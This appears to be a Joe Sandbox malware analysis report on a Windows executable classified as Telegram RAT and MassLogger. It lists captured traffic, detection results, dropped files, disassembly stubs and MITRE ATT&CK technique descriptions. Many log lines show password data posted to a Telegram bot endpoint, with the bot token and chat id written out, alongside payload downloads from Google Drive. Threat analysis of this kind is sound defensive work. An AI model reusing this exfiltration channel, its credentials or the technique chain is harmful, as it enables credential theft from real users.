Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31f529a64ad4Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3209d84e4e33Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd321e78449c5fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3233099429ecHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32478c38febdHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd325eb93757f9Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3270658e9d73Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3284bc2d1cb5Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3299042231bcHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32ad3d6845d9Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32beb897ea19Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32d2d677c1e5Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32e58fd9cbdfHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32f83c6c0893Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd330adc3c2a0cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd331d6f3d349fHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd319dbf9f6463Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: czHx16QwGQ.exe	Virustotal: Detection: 74%			Perma Link
Source: czHx16QwGQ.exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38360671h	5_2_383603AF
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38361042h	5_2_38360C28
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836C985h	5_2_3836C638
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836B339h	5_2_3836B07F
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836F2F8h	5_2_3836F05A
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836BBE9h	5_2_3836B930
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836C499h	5_2_3836C1F2
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836DD40h	5_2_3836DA89
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836E5F0h	5_2_3836E347
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836EEA0h	5_2_3836EBF7
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38361042h	5_2_38360C1B
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836B791h	5_2_3836B4D8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836C041h	5_2_3836BDA2
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836E198h	5_2_3836DEE1
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38361042h	5_2_38360F6F
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 3836EA48h	5_2_3836E79F
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then push 00000000h	5_2_38F4BDF0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F4882Dh	5_2_38F48650
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F491B7h	5_2_38F48650
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F47318h	5_2_38F47070
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F41B00h	5_2_38F41858
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F44ACAh	5_2_38F44820
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F42C60h	5_2_38F429B8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F423B0h	5_2_38F42108
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F45D60h	5_2_38F45AB8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F43510h	5_2_38F43268
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F454B0h	5_2_38F45208
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F44670h	5_2_38F443C8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F46610h	5_2_38F46368
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_38F47B4F
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F43DC0h	5_2_38F43B18
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F47770h	5_2_38F474C8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F41F58h	5_2_38F41CB0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F46EC0h	5_2_38F46C18
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F416A8h	5_2_38F41400
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F45058h	5_2_38F44DB0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F42808h	5_2_38F42560
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F43968h	5_2_38F436C0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F45908h	5_2_38F45660
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F430B8h	5_2_38F42E10
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F46A68h	5_2_38F467C0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F41250h	5_2_38F40FA8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F44218h	5_2_38F43F70
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then jmp 38F461B8h	5_2_38F45F10
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then push 00000000h	5_2_3947E790
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then push 00000000h	5_2_3947F2DE
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	5_2_3947F5A0

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49770 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49831 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49843 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49735 -> 216.58.206.46:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1ldZgiMZVF2Jm6I1zMoLRFfBr1vhf_sHj HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1ldZgiMZVF2Jm6I1zMoLRFfBr1vhf_sHj&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report czHx16QwGQ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\Udkrammendes.Cyc

C:\Users\user\AppData\Local\Iw\Vrditab.Pne

C:\Users\user\AppData\Local\Iw\prepares.pli

C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsvC834.tmp

Static File Info

General

File Icon

Windows Analysis Report
czHx16QwGQ.exe

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 73961777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004032DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
